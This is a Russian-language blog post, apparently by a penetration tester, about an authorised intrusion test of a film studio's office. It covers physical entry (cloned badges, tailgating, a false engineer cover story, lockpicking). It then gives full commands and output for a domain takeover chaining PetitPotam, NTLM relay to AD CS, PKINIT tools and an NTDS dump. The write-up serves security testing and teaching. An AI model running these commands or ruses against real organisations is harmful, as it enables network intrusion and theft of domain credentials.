April 17, 2023

Взлом Киностудии

Все действия были регламентированы и выполнялись в рамках проекта. Все совпадения описанные в данной статье являются случайными, а персонажи вымышленными.

В день про­ник­новения я вошел в цен­траль­ный вход биз­нес‑цен­тра, успешно миновал про­ход­ную бла­года­ря ско­пиро­ван­ному ранее про­пус­ку (использовал proxmark) и нап­равил­ся к офи­су заказ­чика.

Как уточ­нялось в техническом задании, вход в офис регули­ровал­ся отдель­ной кар­той, которой на тот момент у меня не было. Так что я прос­то дос­тал телефон и начал ими­тиро­вать деловую беседу в ожи­дании, что кто‑нибудь откро­ет нуж­ную мне дверь. Минут через пять один из сот­рудни­ков ком­пании‑заказ­чика наконец соиз­волил прой­ти в нуж­ный офис и поз­волил мне прош­мыгнуть за ним. Кста­ти, для метода сле­дова­ния по пятам легитим­ного сот­рудни­ка в нуж­ные помеще­ния даже есть спе­циаль­ный тер­мин — tailgating.

Внут­ри офи­са боль­шая часть помеще­ний была откры­та, и я начал заходить во все под­ряд. Через какое‑то вре­мя один из сот­рудни­ков, уви­дев пос­торон­него челове­ка в помеще­нии, спро­сил, чем я тут, собс­твен­но говоря, занима­юсь. Для успо­коения бди­тель­ного работ­ника я рас­ска­зал заранее заготов­ленную леген­ду о том, что я инже­нер и нас­тра­иваю сетевое обо­рудо­вание. Это­го ока­залось дос­таточ­но, и боль­ше ник­то из сот­рудни­ков не обра­щал на меня вни­мания.

Мо­ему взо­ру пред­ста­ли рабочие сто­лы сот­рудни­ков с бес­печно лежащи­ми на них печатя­ми, USB-токена­ми, мно­жес­тво докумен­тов и жес­тких дис­ков (потен­циаль­но содер­жащих кон­фиден­циаль­ную информа­цию).

За вре­мя осмотра офи­са я так­же под­метил, что одна из две­рей зак­рыта на элек­трон­ный замок. Зато при­лега­ющее к ней помеще­ние было откры­то и пус­товало. Ког­да я туда заг­лянул, выяс­нилось, что от запер­той ком­наты меня отде­ляет лишь невысо­кая перего­род­ка, через которую я невоз­мутимо перелез. Внут­ри было нес­коль­ко работа­ющих компь­юте­ров, один из которых не был заб­локиро­ван. Открыв на нем бра­узер, я смог уви­деть все сох­ранен­ные пароли, получил воз­можность изу­чить всю лич­ную и внут­реннюю перепис­ку, а так­же запус­тить кор­поратив­ную прог­рамму, работа с которой может пов­лиять на биз­нес‑про­цес­сы ком­пании.

За­кон­чив осмотр офи­са, я отпра­вил­ся на раз­ведку по коридо­рам и нашел сер­верную. Дверь была запер­та, но я пос­тучал, и мне открыл админ, который не был пре­дуп­режден о про­вер­ке. Я веж­ливо пред­ста­вил­ся инже­нером сто­рон­ней ком­пании, который опять же, сог­ласно леген­де, по сог­ласова­нию с тех­ничес­ким дирек­тором дол­жен был про­вес­ти нас­трой­ку сетево­го обо­рудо­вания.

На­ивный и радуш­ный админ спо­кой­но про­пус­тил меня внутрь и даже помог най­ти под­ходящий разъ­ем Ethernet для моего ноута. У меня было достаточно времени чтобы просканирвоать небольшой сегмент в сети. Там было много интересного, например, пару доменных тачек с MS17-010, а также обнаружилась возможность выпустить сертификат в центре сертификации при помощи PetitPotam. Так получилось взять домен за пару минут.

Проведение Атаки на домен:

Внутри тестируемой сети, я реализовал атаку Petit Potam, используя следущую команду:

sudo responder -I eth0 -A -b -w -F -vv --lm --disable-ess
sudo python PetitPotam.py 10.10.8.1 192.168.111.4 -pipe all
[SMB] NTLMv2 Client   : 192.168.111.4
[SMB] NTLMv2 Username : EXAMPLE\\DC01$
[SMB] NTLMv2 Hash     : DC01$::EXAMPLE:1121134433667788:5DBBF33A4AC4B777308...

Далее необходимо было выполнить серию шагов для получения сертификата.

Первым шагом я нашел центр сертификации, придерживаясь алгоритма:

  1. Проверка контроллеров домена на открытые 80, 443 порты
  2. Проверка на доступность по пути /certsrv/certfnsh.asp.

3*. Если я обладал бы доменной учетной записью, то можно было бы при помощи sertypy.py выполнить find, который способен обнаружить все центры сертификации.

В данном случае, я проанализировал доменные хосты по результатам сканирования, и обнаружил сетевой узел с названием CA_Example, где был открыт 443 порт, при помощи команды:

crackmapexec smb 192.168.111.0-254

SMB 192.168.111.111 445 CA_Example [*] Windows Server 2016 Standard 14393 x64 (name:CA_Example) (domain:example.lan) (signing:False) (SMBv1:True)

Далее, я выполнил команду:

sudo /tools/noPac/venv/bin/ntlmrelayx.py -debug -smb2support --target https://192.168.111.111/certsrv/certfnsh.asp --adcs --template KerberosAuthentication
sudo python PetitPotam.py 10.10.8.1 192.168.111.4 -pipe all

В результате атаки в окошке с ntlmrelayx.py мы получаем сертификат в base64:

[*] Base64 certificate of user DC01$: MIIVDWICAcCCRccGVSeGSIb3VQEHAaVCEbfEph....

Далее я сформировал файл и конвертировал, используя слудующую связку команд:

nano dc01_cert.pfx.b64 - скопировал в этот файл содержимое полученное выше.

base64 -d dc01_cert.pfx.b64 > dc01_cert.pfx - декодировал сертификат

Стоит помнить, что для корректного выполнения запроса необходимо предварительно синхронизировать время с DC. Следующим шагом будет выполнение запроса TGT-билет, с помощью декодированного сертификата. Связка команд представлена ниже:

sudo net time set -S 192.168.111.4 && sudo python /tools/adcs_toolkit/PKINITtools/gettgtpkinit.py -cert-pfx dc01_cert.pfx -dc-ip 192.168.111.4 'EXAMPLE/DC01#39; dc01.ccache

Вывод терминала будет подобен следующему:

2023-02-17 15:02:22,217 minikerberos INFO Loading certificate and key from file 2023-02-17 15:02:22,651 minikerberos INFO Requesting TGT 2023-02-17 16:02:37,685 minikerberos INFO AS-REP encryption key (you might need this later): 2023-02-17 15:02:37,686 minikerberos INFO 93531c7f404f6593va25317t10fc5vb4574dq41e93495v40735cbqq4g0r1b4142023-02-17 15:02:37,689 minikerberos INFO Saved TGT to file

Далее, мне удалось экспортировал полученный билет для аутентификации, а также полученный сессионый ключ. Он понадобится для распаковки структуры PAC_CREDENTIAL_INFO в TGS, который в последствии будет необходимо запросить на своего пользователя, для извлечения хэша контроллера домена.

Экспортиование:

export KRB5CCNAME=dc01.ccache

Команда для получения NT хеша (после флага -k устанавливаем значение, полученное на предыдущем шаге - выделил жирным шрифтом):

sudo python /tools/adcs_toolkit/PKINITtools/getnthash.py -k 93531c7f404f6593va25317t10fc5vb4574dq41e93495v40735cbqq4g0r1b414 -dc-ip 192.168.111.4 'EXAMPLE/DC01#39;

[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
0a7711n11se4aqa5dd77aafdd77a80v3

Последним шагом я получил дамп ntds, выполнив следующую команду:

impacket-secretsdump 'example.lan/[email protected]' -dc-ip 192.168.111.4 -hashes ':0a7711n11se4aqa5dd77aafdd77a80v3' > NTDS

Во время взятия домена получилось ско­пиро­вать про­пуск админа, ког­да тот отвернул­ся. Через какое‑то вре­мя я и горемыч­ный админ выш­ли покурить, пос­ле чего тот отпра­вил­ся на обед. Я же вер­нулся в сер­верную и про­шел внутрь по ско­пиро­ван­ной ранее кар­те. Быс­трень­ко подоб­рав отмычки, вскрыл сер­верный шкаф и задоку­мен­тировал это дос­тижение на фото во всех ракур­сах.

Так как ско­пиро­ван­ный мной про­пуск был админ­ским (а они обыч­но име­ют дос­туп к боль­шинс­тву тех­ничес­ких помеще­ний), про­ник­новение в хра­нили­ще, где лежали резер­вные копии, тоже не было проб­лемой. Сер­верный ящик я вскрыл и тоже запечат­лел это для про­токо­ла.

На этом все мои задачи были выпол­нены. Я спо­кой­но вышел через ту же про­ход­ную, что и вошел, и отпра­вил­ся уже в свой офис стро­чить отчет о про­делан­ной работе.

Еще больше интересных статей в моем ТГ канале: https://t.me/pro_pentest